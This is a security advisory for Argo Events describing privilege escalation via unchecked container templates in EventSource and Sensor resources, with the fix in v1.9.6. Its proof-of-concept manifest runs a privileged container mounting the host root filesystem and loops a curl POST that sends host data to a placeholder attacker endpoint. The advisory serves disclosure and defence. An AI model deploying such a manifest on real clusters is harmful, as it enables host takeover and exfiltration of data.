A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges.
The EventSource
and Sensor
CRs allow the corresponding orchestrated pod to be customized with spec.template
and spec.template.container
(with type k8s.io/api/core/v1.Container
), thus, any specification under container
such as command
, args
, securityContext
, volumeMount
can be specified, and applied to the EventSource or Sensor pod due to the code logic below.
if args.EventSource.Spec.Template != nil && args.EventSource.Spec.Template.Container != nil {
if err := mergo.Merge(&eventSourceContainer, args.EventSource.Spec.Template.Container, mergo.WithOverride); err != nil {
return nil, err
}
}
With these, A user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under template
.
Here is an example that demonstrates the vulnerability.
apiVersion: argoproj.io/v1alpha1
kind: EventSource
metadata:
name: poc-vulnerable-eventsource
spec:
webhook:
security-test:
port: "12000"
endpoint: "/webhook"
template:
container:
image: ubuntu:latest
command: ["/bin/bash"]
args: [
"-c",
"apt-get update && apt-get install -y curl && while true; do
rm -f /tmp/data;
echo '=== containerd socket ===' > /tmp/data 2>&1;
ls -la /host/run/containerd/containerd.sock >> /tmp/data 2>&1;
echo '=== proof of host access ===' >> /tmp/data 2>&1;
cat /host/etc/hostname >> /tmp/data 2>&1;
curl -X POST --data-binary @/tmp/data http://<attacker-controlled-endpoint>:8000/;
sleep 300;
done"
]
securityContext:
privileged: true
capabilities:
add: ["SYS_ADMIN"]
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
Multi-tenant Clusters:
Security Model Bypass:
A patch for this vulnerability has been released in the following Argo Events version , which only limited properties under spec.template.container
are allowed.
v1.9.6
This vulnerability was found & reported by:
@thevilledev
The Argo team would like to thank him for his responsible disclosure and constructive communications during the resolve of this issue.
{ "nvd_published_at": "2025-04-15T20:15:39Z", "cwe_ids": [ "CWE-250", "CWE-268" ], "severity": "CRITICAL", "github_reviewed": true, "github_reviewed_at": "2025-04-14T17:47:39Z" }